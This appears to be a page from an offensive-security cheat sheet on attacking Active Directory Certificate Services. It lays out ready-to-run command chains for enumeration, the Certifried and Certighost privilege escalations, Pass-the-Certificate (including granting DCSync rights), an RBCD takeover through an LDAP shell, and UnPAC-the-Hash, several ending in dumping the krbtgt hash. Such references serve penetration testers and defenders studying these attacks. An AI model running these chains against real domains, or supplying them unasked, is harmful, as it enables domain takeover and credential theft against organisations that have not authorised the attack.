ad-adcs-certificate-services.md (12829B)
1 --- 2 title: "Active Directory - Certificate Services" 3 section: "Active Directory" 4 sectionSlug: "active-directory" 5 sourcePath: "docs/active-directory/ad-adcs-certificate-services.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adcs-certificate-services.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Active Directory - Certificate Services 12 13 Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network. 14 15 ## ADCS Enumeration 16 17 * NetExec: 18 19 ```ps1 20 netexec ldap domain.lab -u username -p password -M adcs 21 ``` 22 23 * ldapsearch: 24 25 ```ps1 26 ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName 27 ``` 28 29 * certutil: 30 31 ```ps1 32 certutil.exe -config - -ping 33 certutil -dump 34 ``` 35 36 ## Certificate Enrollment 37 38 * DNS required (`CT_FLAG_SUBJECT_ALT_REQUIRE_DNS` or `CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS`): only principals with their `dNSHostName` attribute set can enroll. 39 * Active Directory Users cannot enroll in certificate templates requiring `dNSHostName`. 40 * Computers will get their `dNSHostName` attribute set when you **domain-join** a computer, but the attribute is null if you simply create a computer object in AD. 41 * Computers have validated write to their `dNSHostName` attribute meaning they can add a DNS name matching their computer name. 42 43 * Email required (`CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL` or `CT_FLAG_SUBJECT_REQUIRE_EMAIL`): only principals with their `mail` attribute set can enroll unless the template is of schema version 1. 44 * By default, users and computers do not have their `mail` attribute set, and they cannot modify this attribute themselves. 45 * Users might have the `mail` attribute set, but it is rare for computers. 46 47 ## Certifried CVE-2022-26923 48 49 > An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege. 50 51 * Find `ms-DS-MachineAccountQuota` 52 53 ```ps1 54 bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota 55 ``` 56 57 * Add a new computer in the Active Directory, by default `MachineAccountQuota = 10` 58 59 ```ps1 60 bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*' 61 certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local' 62 ``` 63 64 * [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN 65 66 ```ps1 67 Rubeus.exe tgtdeleg 68 export KRB5CCNAME=/tmp/ws02.ccache 69 bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName 70 ``` 71 72 * Set the `dNSHostName` attribute to match the Domain Controller hostname 73 74 ```ps1 75 bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local 76 bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName 77 ``` 78 79 * Request a ticket 80 81 ```ps1 82 # certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA 83 certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA 84 ``` 85 86 * Either use the pfx or set a RBCD on your machine account to takeover the domain 87 88 ```ps1 89 certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10 90 91 openssl pkcs12 -in dc.pfx -out dc.pem -nodes 92 bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$' 93 getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*' 94 secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10 95 ``` 96 97 ## Certighost CVE-2026-54121 98 99 Patched in July 2026 update. 100 101 Certighost is a vulnerability in certificate enrollment where a Certification Authority trusts a requester-controlled directory lookup target. By supplying the **cdc** and **rmd** attributes, an attacker can redirect the CA to a rogue host running SMB, LDAP, and LSA services. 102 103 * `cdc` (Client DC), which identifies the host the CA should contact 104 * `rmd` (Remote Domain), which identifies the principal the CA should look up 105 106 The attacker-controlled server can return forged directory information for a chosen Domain Controller, such as its SID and DNS hostname. The CA then embeds this identity data into the issued certificate, allowing the attacker to impersonate the Domain Controller during certificate-based authentication and potentially gain replication privileges. 107 108 A standard domain machine account is sufficient to pass the CA's initial authentication checks, meaning the rogue lookup server does not need to be the Domain Controller it claims to represent. 109 110 * [aniqfakhrul/CVE-2026-54121](https://github.com/aniqfakhrul/CVE-2026-54121) 111 112 ```ps1 113 sudo python3 certighost.py -d playground.local -u lowpriv -p 'Password1234' --dc-ip 192.168.1.10 114 ``` 115 116 ## Pass-The-Certificate 117 118 > Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential" 119 120 * Windows 121 122 ```ps1 123 # Information about a cert file 124 certutil -v -dump admin.pfx 125 126 # From a Base64 PFX 127 Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show 128 129 # Grant DCSync rights to an user 130 ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID> 131 # To restore 132 ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt 133 ``` 134 135 * Linux 136 137 ```ps1 138 # Base64-encoded PFX certificate (string) (password can be set) 139 gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" 140 141 # PEM certificate (file) + PEM private key (file) 142 gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" 143 144 # PFX certificate (file) + password (string, optionnal) 145 gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" 146 147 # Using Certipy 148 certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain' 149 certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx" 150 ``` 151 152 ### PKINIT ERROR 153 154 When the DC does not support **PKINIT** (the pre-authentication allowing to retrieve either TGT or NT Hash using certificate). You will get an error like the following in the tool's output. 155 156 ```ps1 157 $ certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain' 158 [...] 159 KDC_ERROR_CLIENT_NOT_TRUSTED (Reserved for PKINIT) 160 ``` 161 162 There is still a way to use the certificate to takeover the account. 163 164 * Open an LDAP shell using the certificate 165 166 ```ps1 167 certipy auth -pfx target.pfx -debug -username username -domain domain.local -dns-tcp -dc-ip 10.10.10.10 -ldap-shell 168 ``` 169 170 * Add a computer for RBCD 171 172 ```ps1 173 impacket-addcomputer -dc-ip 10.10.10.10 DOMAIN.LOCAL/User:P@ssw0rd -computer-name "NEWCOMPUTER" -computer-pass "P@ssw0rd123*" 174 ``` 175 176 * Set the RBCD 177 178 ```ps1 179 set_rbcd 'TARGET$' 'NEWCOMPUTER$' 180 ``` 181 182 * Request a ticket with impersonation 183 184 ```ps1 185 impacket-getST -spn 'cifs/target.domain.local' -impersonate 'target$' -dc-ip 10.10.10.10 'DOMAIN.LOCAL/NEWCOMPUTER$:P@ssw0rd123*' 186 ``` 187 188 * Use the ticket 189 190 ```ps1 191 export KRB5CCNAME=DC$.ccache 192 impacket-secretsdump.py 'target$'@target.domain.local -k -no-pass -dc-ip 10.10.10.10 -just-dc-user 'krbtgt' 193 ``` 194 195 ## UnPAC The Hash 196 197 Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate. 198 199 * [ly4k/Certipy](https://github.com/ly4k/Certipy) 200 201 ```ps1 202 export KRB5CCNAME=/pwd/to/user.ccache 203 proxychains certipy req -username "user@domain.lab" -ca "domain-DC-CA" -target "dc1.domain.lab" -template User -k -no-pass -dns-tcp -ns 10.10.10.10 -dc-ip 10.10.10.10 204 proxychains certipy auth -pfx 'user.pfx' -dc-ip 10.10.10.10 -username user -domain domain.lab 205 ``` 206 207 * [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) 208 209 ```ps1 210 # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC. 211 Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show 212 ``` 213 214 * [dirkjanm/PKINITtools](https://github.com/dirkjanm/PKINITtools) 215 216 ```ps1 217 # Obtain a TGT by validating a PKINIT pre-authentication 218 gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" 219 220 # Use the session key to recover the NT hash 221 export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME' 222 ``` 223 224 ## Common Error Messages 225 226 | Error Name | Description | 227 | ---------------------------------- | ----------------------------------------------------------------------------------- | 228 | `CERTSRV_E_TEMPLATE_DENIED` | The permissions on the certificate template do not allow the current user to enroll | 229 | `KDC_ERR_INCONSISTENT_KEY_PURPOSE` | Certificate cannot be used for PKINIT client authentication | 230 | `KDC_ERROR_CLIENT_NOT_TRUSTED` | Reserved for PKINIT. Try to authenticate to another DC | 231 | `KDC_ERR_PADATA_TYPE_NOSUPP` | KDC has no support for padata type. CA might be expired | 232 233 `KDC_ERR_PADATA_TYPE_NOSUPP` error still allow the attacker to use the certificate with the Pass-The-Cert. Since the DC's LDAPS service only check the SAN. 234 235 ## References 236 237 * [Access controls - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/access-controls) 238 * [AD CS Domain Escalation - HackTricks](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#shell-access-to-adcs-ca-with-yubihsm-esc12) 239 * [ADCS Attack Paths in BloodHound — Part 2 - Jonas Bülow Knudsen - May 1, 2024](https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-2-ac7f925d1547) 240 * [bloodyAD and CVE-2022-26923 - soka - 11 May 2022](https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html) 241 * [CA configuration - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/ca-configuration) 242 * [Certificate templates - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates) 243 * [Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022](https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d) 244 * [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2) 245 * [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/) 246 * [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf) 247 * [Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4) 248 * [Diving Into AD CS: Exploring Some Common Error Messages - Jacques Coertze - March 7, 2025](https://sensepost.com/blog/2025/diving-into-ad-cs-exploring-some-common-error-messages/) 249 * [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/) 250 * [UnPAC the hash - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash) 251 * [Web endpoints - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/ad-cs/web-endpoints)